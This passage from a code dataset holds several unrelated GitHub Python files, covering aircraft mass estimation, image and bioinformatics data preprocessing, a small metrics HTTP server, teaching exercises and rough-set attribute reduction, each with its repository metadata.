Aircraft\r\n \"\"\"\r\n mass_min = A320_data.mass['minimum']\r\n mass_max = A320_data.mass['maximum']\r\n dT = (T_atm - (15-(2*H_p/1000*3.28084)) - 273.15) # Calculates Temp in Kelvin after converting altitude to ft\r\n # dT = (T_atm-(2*15*H0))\r\n (theta_norm, delta_norm, sigma_norm) = atm.atmosphereProperties(H_p, dT)\r\n # bankangle = A320.flightEnvelope.getBankAngle(phase=\"cl\", flightUnit=\"mil\", value=\"nom\")\r\n LoadFactor = A320.loadFactor(BankAngle)\r\n \r\n # print(A320.Thrust(H0, (T_atm-(2*15*H0)), \"MCMB\"))\r\n\r\n Thrust = A320.Thrust(H_p, dT, \"MCMB\") # Normal thrust, in most phases\r\n # ThrMax = A320.TMax(H_p, dT, \"MCMB\") # Thrust max, usually in the climb phase\r\n\r\n def Drag(sigma_norm, mass, TAS, LoadFactor):\r\n CL = A320.CL(sigma_norm, mass, TAS, LoadFactor)\r\n CD = A320.CD(CL, 'IC')\r\n # print(f\"CL: {CL}, CD: {CD}\")\r\n return A320.D(sigma_norm, TAS, CD)\r\n \r\n ESF = A320.flightEnvelope.esf(flightEvolution = \"constCAS\", phase = \"cl\", h = H_p, DeltaTau = dT, v = Mach)\r\n\r\n print(f\"dt: {dT}, theta: {theta_norm}, sigma: {sigma_norm}, delta: {delta_norm}, LF: {LoadFactor}, Thrust: {Thrust}, ESF: {ESF}\")\r\n ROCD_func = lambda mass: (A320.ROCD(Thrust, Drag(sigma_norm, mass, TAS, LoadFactor), TAS, mass, ESF, H_p, dT))\r\n # Parameters to calculate\r\n mass = Bisection(ROCD_func, mass_min, mass_max, ROCD, error)\r\n (CAS) = A320.ARPM.climbSpeed(theta_norm, delta_norm, mass, H_p, dT)\r\n # print(\"--------------------\")\r\n # print(f\"* Final Mass: {mass}\")\r\n # print(f\"* CAS (V_1, V_2): {CAS}\")\r\n # print(\"--------------------\")\r\n return mass, CAS\r\n\r\nA320_data = b3.Parse()\r\nA320_data.parseAPF(\"data/BADA/\", \"A320__\")\r\nA320_data.parseOPF(\"data/BADA/\", \"A320__\")\r\nA320_data.parseGPF(\"data/BADA/\")\r\n\r\nA320 = b3.BADA3(AC = A320_data)\r\nA320.flightEnvelope = b3.FlightEnvelope(A320_data)\r\nA320.ARPM = b3.ARPM(A320_data)\r\n\r\nif not os.path.exists('data/flight_parameters'):\r\n os.makedirs('data/flight_parameters')\r\n\r\n# Inputs\r\n# NOTE a revision number is included below in case \r\nnum = 4 # <--- Update the identification number\r\nrevision = 0 # <--- Update the revision number \r\nloc_flight = f\"data/3-Flights+Met/Met_{num}/\"\r\nreadpickle = False # <--- Update whether to read a pickle file\r\n\r\nprint(\"--Starting parameter calculation--\")\r\n\r\nwith open(f'data/flight_parameters/FP_{num}.csv', 'a', newline='') as f_object: # \r\n writer_object = writer(f_object) # Pass the CSV file object to the writer() function\r\n # Result - a writer object\r\n writer_object.writerow([\"flightid\", \"datedepart\", \"mass\", \"V1\", \"mach\"]) # Pass the data in the list as an argument into the writerow() function\r\n f_object.close() # Close the file object\r\n\r\nfor filename in os.listdir(loc_flight):\r\n ProcessedFlights = os.listdir(f\"data/4-Flights_processed/{num}-{revision}\")\r\n\r\n if filename.replace('Met_',\"F\") in ProcessedFlights:\r\n continue\r\n else:\r\n print(f\"Reading {filename}\")\r\n if readpickle == True:\r\n df_flight = pd.read_pickle(loc_flight+filename.replace('csv', 'pkl'))\r\n else:\r\n df_flight = pd.read_csv(loc_flight+filename) \r\n mass_values = []\r\n cas_values = []\r\n V1 = []\r\n V2 = []\r\n datedepart = []\r\n\r\n for row in range(len(df_flight)): # Conversion\r\n alt = df_flight.iloc[row]['alt']*0.3048 #\r\n spd = df_flight.iloc[row]['spd']/1.94384 #\r\n ts = df_flight.iloc[row]['ts']\r\n roc = df_flight.iloc[row]['roc']/196.85 #\r\n mach= df_flight.iloc[row]['mach']\r\n temp= df_flight.iloc[row]['temp']\r\n tas = df_flight.iloc[row]['tas']/1.94384 # \r\n\r\n mass, CAS = mass_calculation(\r\n H_p = alt, \r\n T_atm = temp, \r\n TAS = tas, \r\n ROCD = roc, \r\n BankAngle = 0, # Note this is an assumption that bank angle is zero\r\n Mach = mach,\r\n error = 0.5)\r\n\r\n mass_values.append(mass)\r\n cas_values.append(CAS)\r\n\r\n for v in cas_values:\r\n V1.append(v[0])\r\n # V2.append(v[1])\r\n df_flight['mass'] = mass_values\r\n df_flight['V1'] = V1\r\n # df_flight['V2'] = V2\r\n\r\n # Extra processing goes here\r\n mass_min = A320_data.mass['minimum']\r\n mass_max = A320_data.mass['maximum']\r\n\r\n # df_dropped = df_flight[(df_flight['mass'] < mass_max) & (df_flight['mass'] > mass_min)]\r\n df_dropped = df_flight\r\n if len(df_dropped) == 0:\r\n continue\r\n else:\r\n mean_mass = df_dropped['mass'].mean() \r\n mean_V1 = df_dropped['V1'].mean()\r\n # mean_V2 = df_dropped['V2'].mean()\r\n mean_mach = df_dropped['mach'].mean()\r\n filename = filename.replace('Met_','F')\r\n FlightID = filename.replace('.csv','')\r\n # for i in df_dropped['ts']:\r\n # datedepart.append(conv.unix2date(i)[2:10].replace('-',''))\r\n datedepart = conv.unix2date(int(df_dropped['ts'][0]))[2:10].replace('-','')\r\n\r\n parameter_list = [FlightID, datedepart, mean_mass, mean_V1, mean_mach]\r\n \r\n with open(f'data/flight_parameters/FP_{num}.csv', 'a', newline='') as f_object:\r\n # Pass the CSV file object to the writer() function\r\n writer_object = writer(f_object) # Result - a writer object\r\n writer_object.writerow(parameter_list) # Pass the data in the list as an argument into the writerow() function\r\n \r\n f_object.close() # Close the file object\r\n\r\n # The two following lines are either to create a csv or a pickle output, you would need to specify the file folder number\r\n # df_dropped.to_csv(f\"data/4-Flights_processed/{num}-{revision}/{filename}\") # Create a csv output\r\n df_dropped.to_pickle(f\"data/4-Flights_processed/{num}-{revision}/{filename.replace('csv','pkl')}\") # Create a pickle file output","repo_name":"Karan-K1/MLEAPM","sub_path":"4-ParameterCalculation.py","file_name":"4-ParameterCalculation.py","file_ext":"py","file_size_in_byte":9609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10870607714","text":"import os\nimport numpy as np\nfrom PIL import Image\n\n\ndef file_rename(dog_type, file_path):\n \"\"\"\n :param dog_type:种类\n :param file_path:文件路径\n :return:\n \"\"\"\n type_counter = 0 # 种类计数\n for type in dog_type:\n # type是某种狗类名\n file_counter = 0\n sub_folder = os.listdir(file_path + type)\n for sub_class in sub_folder:\n file_counter += 1\n # print(file_counter)\n # print(type_counter)\n # print(sub_class)\n os.rename(file_path + type + '/' + sub_class,\n file_path + type + '/' + str(type_counter) + '_' + str(file_counter) + sub_class.split('.')[\n 0].split('_')[-1] + '.jpg')\n type_counter += 1\n\n\ndef file_resize(output_folder, dog_type, file_path, width=100, height=100):\n for type in dog_type:\n files = os.listdir(file_path + type)\n for i in files:\n img_open = Image.open(file_path + type + '/' + i)\n conv_RGB = img_open.convert('RGB')\n resized_img = conv_RGB.resize((width, height), Image.BILINEAR)\n # print(i, os.path.basename(i))\n resized_img.save(os.path.join(output_folder, os.path.basename(i)) + '.jpg')\n\n\n# 将图片转为数组\ndef read_image(train_folder, filename):\n img = Image.open(train_folder + filename)\n return np.array(img)\n\n\ndef dataset(train_folder):\n train_list_img = []\n train_list_label = []\n for file_n in os.listdir(train_folder):\n file_img_to_array = read_image(train_folder, file_n)\n train_list_img.append(file_img_to_array)\n train_list_label.append(int(file_n.split('_')[0]))\n train_list_img = np.array(train_list_img)\n train_list_label = np.array(train_list_img)\n print(train_list_img.shape)\n # print(train_list_img)\n\n\nif __name__ == '__main__':\n dog_type = ['比格犬', '拉布拉多', '博美犬', '哈士奇']\n # file_rename(dog_type=dog_type, file_path='./DogRaw/')\n # file_resize(output_folder='./train_img/', file_path='./DogRaw/', dog_type=dog_type)\n dataset('./train_img/')\n","repo_name":"Looooook/Dog_Cat_CNN","sub_path":"Pre_data_process.py","file_name":"Pre_data_process.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"15399144787","text":"import pandas as pd\nfrom config import MEDDRA_CSV_PATH\n\ndef load_meddra_se_df():\n all_side_effects_path = \"./data/gzs/meddra_all_se.tsv\"\n colnames = ['drug_id','a','b','c','d','adv_str']\n drug_adv_df = pd.read_csv(all_side_effects_path,sep='\\t',header=None,names=colnames)[['drug_id','adv_str']]\n return drug_adv_df\n\ndef load_meddra_drugs_df():\n drug_df = pd.read_csv(\"data/gzs/drug_names.tsv\",header=None,names=[\"id\",\"name\"],sep='\\t')\n return drug_df\n\ndef make_meddra_drug_adv_df(drug_df,drug_adv_df,save_path=MEDDRA_CSV_PATH):\n sider_id_to_name = {row['id']:row['name'] for _, row in drug_df.iterrows()}\n drug_adv_df['drug_name'] = [sider_id_to_name[sider_id] for sider_id in drug_adv_df['drug_id'].values]\n drug_adv_df.to_csv(save_path)\n\ndef make_medra_dicts(meddra_df):\n return {drug_name : drug_df for drug_name, drug_df in meddra_df.groupby('drug_name')}\n\nif __name__ == \"__main__\":\n drug_df = load_meddra_drugs_df()\n drug_adv_df = load_meddra_se_df()\n make_meddra_drug_adv_df(drug_df,drug_adv_df)\n print(\"Saved csv :)\")","repo_name":"pooky1955/cascadia-code","sub_path":"a3_sider.py","file_name":"a3_sider.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"4032947996","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nmatrix = np.zeros((8, 8), dtype=np.complex_)\nfor m in range(matrix.shape[0]):\n for n in range(matrix.shape[1]):\n matrix[m][n] = math.e**((2*math.pi*1j*m*n)/8)\n\nt = np.arange(0, 8)\n\nfig, axs = plt.subplots(1, 8, figsize=(20, 5))\n\nfor i in range(matrix.shape[0]):\n v = matrix[i][:]\n my_cos = np.real(v)\n my_sin = np.imag(v)\n axs[i].plot(t, my_cos)\n axs[i].plot(t, my_sin)\n plt.tight_layout()\n\nplt.show()\n\nconj_matrix = matrix.conj().T\n\nif np.linalg.norm(abs(conj_matrix * matrix) - 8 * np.identity(8) < 10e-10):\n print(\"adevarat\")\nelse:\n print(\"fals\")","repo_name":"andreea-son/Procesarea_Semnalelor","sub_path":"lab3/pb1.py","file_name":"pb1.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17035799884","text":"from ....node.transform.select_column_node import SelectColumnNode\nfrom ...baseengine.converter import Converter\n\n\nclass SelectColumnConverter(Converter):\n def __init__(self):\n super(SelectColumnConverter, self).__init__()\n\n def convert(self):\n node: SelectColumnNode = self.get_node_wrapper().get_node()\n out_port_ident = self.get_node_wrapper().get_out_idents()[0]\n in_port_ident = self.get_node_wrapper().get_in_idents()[0]\n code_str = \"\"\n if node.selected_columns:\n code_str += f\"{out_port_ident} = {in_port_ident}[{str(node.selected_columns)}]\"\n if node.alias:\n code_str += f'.rename(columns={node.alias})'\n return code_str\n","repo_name":"mhstk/dm4crm","sub_path":"dm4crm/dm4crm/core/models/engine/sparkengine/converters/select_column_converter.py","file_name":"select_column_converter.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"21166467126","text":"### AUTHOR: TMRM \n### PROJECT: Neural Net - One Neuron \n### VER: 1.0\n### DATE: 05-24-2020\n\n### Declare CALLs ###\n\n\n\n### Declare/Input VALs & STRINGs ###\n\n\n#UNIQUE INPUTS INTO THE SYSTEM\ninputs = [1.2, 5.1, 2.1]\n#EVERY UNIQUE INPUT MUST HAVE A UNIQUE WEIGHT TO THEM\nweights = [3.1, 2.1, 8.7]\n#EVERY UNIQUE NEURON HAS ITS OWN UNIQUE BIAS\nbias = 3\n\n### CALCs ###\n\n#ADD UP ALL THE INPUTS * THE WEIGHTS + THE BIAS\n# NB WE DO THIS FROM THE BASE INDEX OF 0 then go forward (so this system will work at 0,1,2\noutput = inputs[0]*weights[0] + inputs[1]*weights[1] + inputs[2]*weights[2] + bias\n\n##OUTPUTs\nprint(output)\n","repo_name":"tyriem/PY","sub_path":"Neural Network Project/1 - One Neuron.py","file_name":"1 - One Neuron.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"74317566446","text":"# -*- coding: utf-8 -*-\r\n\r\ndef main():\r\n\t#Declarando variáveis\r\n\tn = 0; #Indica o número de vezes que será as interações\r\n\tarquivo_n = 0; #Indica o número do arquivo de entrada que o usuário desejar\r\n\tmtz_entrada = None; #Indica qual mundo de entrada será usado\r\n\t\r\n\t#Chamadas de funções\r\n\tfrom trava_entrada import trava_arquivo_n, trava_interacao;\r\n\tfrom mundo import carrega_mundo;\r\n\tfrom impressao_tela import mostrar_tela;\r\n\tfrom achar_X_ponto import achar_X, achar_ponto;\r\n\tfrom vizinhos_X_ponto import vizinhos_X, vizinhos_ponto;\r\n\tfrom nascer_morrer_X_ponto import substituicao_X_ponto;\r\n\t\r\n\timport time;\r\n\timport os;\r\n\t\r\n\t\r\n\t#Begin\r\n\tprint(\"JOGO DA VIDA\\n\\n\");\r\n\tprint(\"Você pode escolher arquivos de entrada de 1 a 5 que representa o mundo.\");\r\n\t\r\n\tarquivo_n = int(input(\"Insira o mundo que deseja: \"));\r\n\t\r\n\tos.system(\"cls\"); #Limpar tela\r\n\t\r\n\t#Caso o usuário digite um valor de entrada diferente de 1 a 5 chama uma função que funciona como trava\r\n\tif (arquivo_n < 1) or (arquivo_n > 6) :\r\n\t\tarquivo_n = trava_arquivo_n(arquivo_n);\r\n\t\r\n\r\n\tn = int(input(\"Número de interacoes que deseja no mundo escolhido: \"));\r\n\t\r\n\tos.system(\"cls\"); #Limpar tela\r\n\t\r\n\t#Caso o usuário digite um valor de interações abaixo de 0 chama uma função que trava isso\r\n\tif (n < 0) :\r\n\t\tn = trava_interacao(n);\r\n\t\r\n\t\r\n\t#Transformando o número do arquivo em string para poder chamar a função mundo\r\n\tarquivo_n = \"entrada\" + str(arquivo_n) + \".txt\"; \r\n\t\r\n\t#Chamando o mundo a partir da função carrega_mundo\r\n\tmtz_entrada = carrega_mundo(arquivo_n);\r\n\t\r\n\t#Chamando a função para mostrar a impressão da matriz(mundo) escolhido pelo usuário\r\n\tprint(\"O mundo escolhido foi esse abaixo: \\n\\n\");\r\n\tmostrar_tela(mtz_entrada);\r\n\t\r\n\ttime.sleep(10);\t \t#Tempo de 10 segundos para o usário checar o mundo que ele escolheu\r\n\tos.system(\"cls\"); \t#Limpar tela\r\n\t\r\n\t\r\n\t#Loop do número de interações desejadas pelo usuário\r\n\t\r\n\tfor _ in range(n) :\r\n\t\t#Colocar em uma lista todas as posições de \"X\" e \".\" para poder fazer as trocas segundo as condições dadas\r\n\t\tlst_X = achar_X(mtz_entrada);\r\n\t\tlst_ponto = achar_ponto(mtz_entrada);\r\n\t\r\n\t\r\n\t\t#Checar e armazenar em uma lista os vizinhos de \"X\" e \".\", e concluir quem é necessário morrer ou viver segundo as condições \r\n\t\tlst_X_mortos = vizinhos_X(lst_X, mtz_entrada);\r\n\t\tlst_pontos_vivos = vizinhos_ponto(lst_ponto, mtz_entrada);\r\n\t\r\n\t\r\n\t\t#Substituir o \"X\" por \".\" e/ou substituir o \".\" por \"X\" segundo as condições dadas no jogo\r\n\t\t#Logo depois imprimir o mundo(matriz) atualizada\r\n\t\tmtz_entrada = substituicao_X_ponto(mtz_entrada, lst_X_mortos, lst_pontos_vivos);\r\n\t\t\r\n\t\t\r\n\t\t#Imprimindo cada linha do mundo atualizado\r\n\t\tprint(\"LOADING...\");\r\n\t\t\r\n\t\ttime.sleep(2); \t\t\t\t #Espera um tempo de 2 segundos como se fosse carregando a atualização do mundo novo\r\n\t\tos.system(\"cls\");\t\t\t #Limpando tela\r\n\t\t\r\n\t\tmostrar_tela(mtz_entrada); #Mostrando a atualização do mundo\r\n\t\ttime.sleep(3);\t\t\t\t #Mostrando o mundo por 3 segundos\r\n\t\tos.system(\"cls\");\t\t\t #Limpando a tela\r\n\t\t\r\n\t\r\n\tprint(\"Obrigado por usar!\");\r\n\t\r\n\t#End\r\n\t\t\r\n\r\n\treturn 0\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n\r\n","repo_name":"HaraHeique/Jogo-da-vida","sub_path":"execucao_jogo.py","file_name":"execucao_jogo.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"6829843126","text":"import pymysql\nfrom config import config\n\n\ndef get_database(sql):\n # 打开数据库连接\n # 使用 cursor() 方法创建一个游标对象 cursor\n cursor = db.cursor(pymysql.cursors.DictCursor)\n # 使用 execute() 方法执行 SQL 查询\n cursor.execute(sql)\n result = cursor.fetchall()\n # result = cursor.fetchone()\n # 关闭数据库连接\n db.commit()\n db.close()\n return result\n\n\nif __name__ == '__main__':\n result = get_database(\"select * FROM inhospital_register_db.biz_inhospital_patient limit 10\")\n print(result)","repo_name":"guozhiyan1/HttpRunner","sub_path":"tools/gmc_mysql.py","file_name":"gmc_mysql.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73873232366","text":"#Original data format:\r\n#label Ara-prot-name pathogen-prot-name\r\n#...\r\n\r\n#Needed data format:\r\n#label,feat-value1,feat-value2,...\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nimport re\r\nimport os\r\n\r\n#featsFile contains lines of protein name and feature values\r\n#example: proteinname;val1;val2;val3;...\r\nfeatsFilePath = \"E:/InterSPPIDatas/DPC/dpcs.txt\"\r\nseperator = ';'\r\n\r\n#the directory for training datas (with headers)\r\ndataPath = \"E:/InterSPPIDatas/Training_data/\"\r\n\r\n#output path\r\noutPath = \"E:/InterSPPIDatas/DPC/\"\r\n\r\n#protdic stores proteins' features in featsFile\r\nprotdic = dict()\r\n\r\ndef main():\r\n #read features into protdic\r\n featsFile = open(featsFilePath, \"r\")\r\n for line in featsFile.readlines():\r\n prot = line.split(seperator)\r\n name = prot[0].split()[0]\r\n feat = prot[1:] #should have used str.strip()\r\n protdic[name] = feat\r\n\r\n #traverse all training data files\r\n traing_files = os.listdir(dataPath)\r\n for fileName in traing_files:\r\n tmpDataFile = open(dataPath+fileName,\"r\")\r\n outFile = open(outPath+fileName,\"w\")\r\n for line in tmpDataFile.readlines()[1:]: #ignore headers\r\n data = line.split()\r\n outFile.write(data[0]+','+','.join(protdic[data[1]])[:-1]+','+','.join(protdic[data[2]])) # there's one '\\n' at the end of each protein feature in featFile\r\n tmpDataFile.close()\r\n outFile.close()\r\n\r\n featsFile.close()\r\n\r\n#entrance\r\nif __name__==\"__main__\":\r\n main()\r\n","repo_name":"HeptaC/Protein-Features-for-PPI","sub_path":"prot_pair_2_feat_pair.py","file_name":"prot_pair_2_feat_pair.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"36614066601","text":"import requests\n\nfrom tgbot.config import load_config\n\n\ndef set_language_service(message, language):\n config = load_config(\".env\")\n url = f\"https://services.llqq.ru/reciklomat/user/language\"\n headers = {'Authorization': f'Bearer {config.tg_bot.server_token}', 'Accept-Language': language}\n data = {\"userId\": message.from_user.id, \"language\": language}\n r = requests.post(url, headers=headers, data=data)\n print(r.text)\n if r.status_code == 200:\n return r.json()['result']\n else:\n return r.json()['errorMessage']\n","repo_name":"zak427zak/reciklomat_checker_telegram_bot","sub_path":"tgbot/services/set_language.py","file_name":"set_language.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18770785325","text":"mapped_psl=snakemake.input.alignment\nquery_seqs=snakemake.input.query_fasta\ngenome_seqs=snakemake.input.genome_fasta\nbed_file=open(snakemake.output.bed_file, 'w')\nbest_alignments={}\n\nbed_file.write('chrom\\tpos\\thap\\tref\\talt\\n')\ndef read_fasta(fasta_file):\n\tseq, name_list, seq_list, seq_dict='', [], [], {}\n\tfor line in open(fasta_file):\n\t\tline=line.strip()\n\t\tif '>' in line:\n\t\t\tname_list.append(line[1:])\n\t\t\tif len(seq)>0:\n\t\t\t\tseq_list.append(seq)\n\t\t\t\tseq=''\n\t\telse:\n\t\t\tseq=seq+line\n\tseq_list.append(seq)\n#\tfor seq_number, name in enumerate(name_list):\n#\t\tseq_dict[name]=seq_list[seq_number]\n\treturn [[name, seq_list[name_number]] for name_number, name in enumerate(name_list)]\n\ndef revcom(seq,nuc='DNA'):\n\tif nuc=='DNA':\n\t\tcomplement={'N':'N','n':'n','A':'T','C':'G','G':'C','T':'A','a':'t','t':'a','c':'g','g':'c', 'U':'A', 'u':'a', '-':'-'}\n\telse:\n\t\tcomplement={'N':'N','n':'n','A':'U','C':'G','G':'C','U':'A','a':'u','u':'a','c':'g','g':'c','-':'-'}\n\treturn ''.join(reversed([complement[base] for base in seq]))\n\n\nquery_fasta=dict(read_fasta(query_seqs))\ngenome_fasta=dict(read_fasta(genome_seqs))\nnew_genome={}\nfor key in genome_fasta:\n\tnew_key=key.split(' ')[0]\n\tnew_genome[new_key]=genome_fasta[key]\ngenome_fasta=new_genome\n\nprint(genome_fasta.keys())\n\nfor line in open(mapped_psl):\n\tline=tuple(line.strip().split())\n\tif len(line)>5 and line[0].isdigit():\n\t\tscore, qname=line[0], line[9]\n\t\tif qname not in best_alignments or int(score)>int(best_alignments[qname][0]):\n\t\t\tbest_alignments[qname]=set([])\n\t\tif len(best_alignments[qname])==0 or int(score)==int(best_alignments[qname][0]):\n\t\t\tbest_alignments[qname].add(line)\n#\t\t\tprint('best is', best_alignments)\nfor query in best_alignments:\n#\tprint('\\n\\nquery is', query)\n\tfor line in best_alignments[query]:\n\t\tscore, strand, q_name, q_size, q_start, q_end, t_name, t_start, t_end, block_sizes, q_starts, t_starts, q_seqs, t_seqs=line[0], line[8], line[9], line[10], line[11], line[12], line[13], line[15], line[16], line[18], line[19], line[20], line[21], line[22]\n\t\tprint('line is', line)\n\t\tblock_sizes, q_starts, t_starts, q_seqs, t_seqs=block_sizes.split(','), q_starts.split(','), t_starts.split(','), q_seqs.split(','), t_seqs.split(',')\n\t\tq_block_end, t_block_end=int(q_starts[0]), int(t_starts[0])\n\t\tfor block_number, block in enumerate(t_starts):\n\t\t\tprint(block)\n\t\t\tif len(block)<1:\n\t\t\t\tbreak\n\t\t\tt_start=int(t_starts[block_number])\n\t\t\tq_start=int(q_starts[block_number])\n\t\t\t#this code doesn't yet handle reverse complemented indels\n\t\t\tif q_block_end!=int(q_starts[block_number]):\n\t\t\t\tprint('entering q_block')\n\t\t\t\tif strand=='-':\n\t\t\t\t\tseq=revcom(query_fasta[q_name])\n\t\t\t\telse:\n\t\t\t\t\tseq=query_fasta[q_name]\n\t\t\t\tprint(q_block_end, q_starts[block_number])\n\t\t\t\tbed_file.write(f'{t_name}\\t{position}\\t{q_name}\\tMISSING\\t{seq[q_block_end:int(q_starts[block_number])]}\\n')\n\t\t\tif t_block_end!=int(t_starts[block_number]):\n\t\t\t\tprint('entering t_block')\n\t\t\t\tprint(t_block_end, t_starts[block_number])\n\t\t\t\tbed_file.write(f'{t_name}\\t{t_block_end}\\t{q_name}\\t{genome_fasta[t_name][t_block_end:int(t_starts[block_number])]}\\tMISSING\\n')\n\t\t\tfor position_number, q_letter in enumerate(q_seqs[block_number]):\n\t\t\t\tt_letter=t_seqs[block_number][position_number]\n\t\t\t\tposition=t_start+position_number\n\t\t\t\tif q_letter!=t_letter:\n\t\t\t\t\tbed_file.write(f'{t_name}\\t{position}\\t{q_name}\\t{t_letter.upper()}\\t{q_letter.upper()}\\n')\n\t\t\tt_block_end=t_start+position_number+1\n\t\t\tq_block_end=q_start+position_number+1\n","repo_name":"bailey-lab/map_nonref_SNPs","sub_path":"scripts/parse_alignment.py","file_name":"parse_alignment.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"74166712045","text":"import threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom mlmetrics import exporter\nimport logging\nlogger = logging.getLogger('httpserver')\nlogger.setLevel(logging.INFO)\nrun_forever = True\n\n\nclass HttpHealthServer(BaseHTTPRequestHandler):\n def do_GET(self):\n if (self.path == '/actuator/health') or (self.path == '/actuator/info'):\n self.send_ok_response()\n elif self.path == '/actuator/prometheus':\n self.send_metrics_response()\n else:\n self.send_missing_response()\n\n def send_ok_response(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n\n def send_missing_response(self):\n self.send_response(404)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n\n def send_metrics_response(self):\n metrics = exporter.expose_metrics()\n logger.info(f\"Metrics: {metrics}\")\n if metrics:\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(metrics)\n logger.info(\"Sent metrics.\")\n else:\n logger.info(\"No metrics to send.\")\n\n @staticmethod\n def keepalive():\n global run_forever\n while run_forever:\n continue\n\n @staticmethod\n def stop_thread():\n global run_forever\n run_forever = False\n\n @staticmethod\n def run_thread(port=8080):\n http_server = HTTPServer(('', port), HttpHealthServer)\n thread = threading.Thread(name='httpd_server', target=http_server.serve_forever)\n thread.setDaemon(True)\n thread.start()\n\n keepalive = threading.Thread(name='httpd_server_keepalive', target=HttpHealthServer.keepalive)\n keepalive.start()\n","repo_name":"agapebondservant/scdf-ml-model","sub_path":"scdfutils/http_status_server.py","file_name":"http_status_server.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"71622808365","text":"#!/usr/bin/python3\n\"\"\" post request script that response to given email.\nUsage: ./2-post_email.py \n - Display the body of the response.\n\"\"\"\n\nimport sys\nimport urllib.parse\nimport urllib.request\n\n\nif __name__ == \"__main__\":\n url = sys.argv[1]\n mail = {\"email\": sys.argv[2]}\n data = urllib.parse.urlencode(mail).encode(\"ascii\")\n request = urllib.request.Request(url, data)\n with urllib.request.urlopen(request) as response:\n body = response.read().decode(\"utf-8\")\n print(body)\n","repo_name":"Frimpongrijkaard/alx-higher_level_programming","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5556348705","text":"import numpy as np\r\nimport torch\r\nimport pandas as pd\r\nimport json\r\nimport itertools\r\n\r\ndef dengjialei(X):#求等价类，表上类别号\r\n y = torch.zeros(X.shape[0])\r\n y = y.unsqueeze(1)\r\n # X = torch.cat((X, y), 1)\r\n k = 0#种类\r\n for i in range(len(X)):#得到相同类标记的数组\r\n if y[i] != 0:\r\n continue\r\n k += 1\r\n for j in range(i, len(X)):\r\n if X[i].equal(X[j]):\r\n y[j] = k\r\n\r\n # X = torch.cat((X, y), 1)\r\n set_y = set([i.item() for i in y])\r\n for tem in set_y:#\r\n result = [i for i, x in enumerate(y) if x == tem]\r\n # i是对象编号，x是类别编号\r\n yield result # 返回一个嵌套列表，元素是对象的编号\r\n\r\ndef num_n(X, Y):#求X和Y的交\r\n if torch.is_tensor(X):\r\n X = [i.item() for i in X]\r\n if torch.is_tensor(Y):\r\n Y = [i.item() for i in Y]\r\n set_n = [val for val in X if val in Y]\r\n return set_n\r\n\r\ndef num_u(X, Y):#求X和Y的并\r\n if torch.is_tensor(X):\r\n X = [i.item() for i in X]\r\n if torch.is_tensor(Y):\r\n Y = [i.item() for i in Y]\r\n set_u = list(set(X + Y))\r\n return set_u\r\n\r\ndef similarity(X, Y):#求X和Y的相似度\r\n simlar = len(num_n(X, Y)) / len(num_u(X,Y))\r\n return simlar\r\n\r\ndef xiajinsi(X, Y):#下近似\r\n down = []\r\n for item in Y:\r\n calculate = [0 if i in X else 1\r\n for i in item]\r\n cal = sum(calculate)\r\n if cal == 0:\r\n down.append(item)\r\n else:\r\n continue\r\n return down # 返回一个嵌套列表，元素是对象的编号\r\n\r\ndef baohandu(X, Y):#D(X/Y)\r\n return len(num_n(X, Y)) / len(Y)\r\n\r\ndef Alpham(X, Y):#X下近似的实除以X个数\r\n down = xiajinsi(X, Y)\r\n alpha = len([j for ite in down for j in ite]) / len(X)\r\n # print('alpha', len([j for ite in down for j in ite]) / len(X))\r\n return len([j for ite in down for j in ite]) / len(X)\r\n\r\n\r\ndef DxCx(X, Y):#论文中的两个,X粗糙，Y是分化啦\r\n Cx = []\r\n Dx = []\r\n for y in Y:\r\n DXY = baohandu(X, y)#包含度\r\n if DXY > 0 and DXY < 1:\r\n Dx.append(y)\r\n for y1 in Dx:\r\n numn = len(num_n(X, y1))\r\n if numn / (len(y1) - numn) >= Alpham(X, Y):\r\n Cx.append(y1)\r\n\r\n return Dx, Cx # 返回一个嵌套列表，元素是对象的编号，次级元素是等价类\r\n\r\ndef reduction(X):# 传入一个辨识矩阵\r\n reduction_set = []\r\n while len(X) != 0:\r\n X, del_set = sorted(X, key=lambda x:len(x)), []\r\n x1 = set(X[0])\r\n for i, L in enumerate(X):\r\n D_attribute = set(L)\r\n if len(x1 & D_attribute) == len(x1):# 如果是L的子集的话\r\n 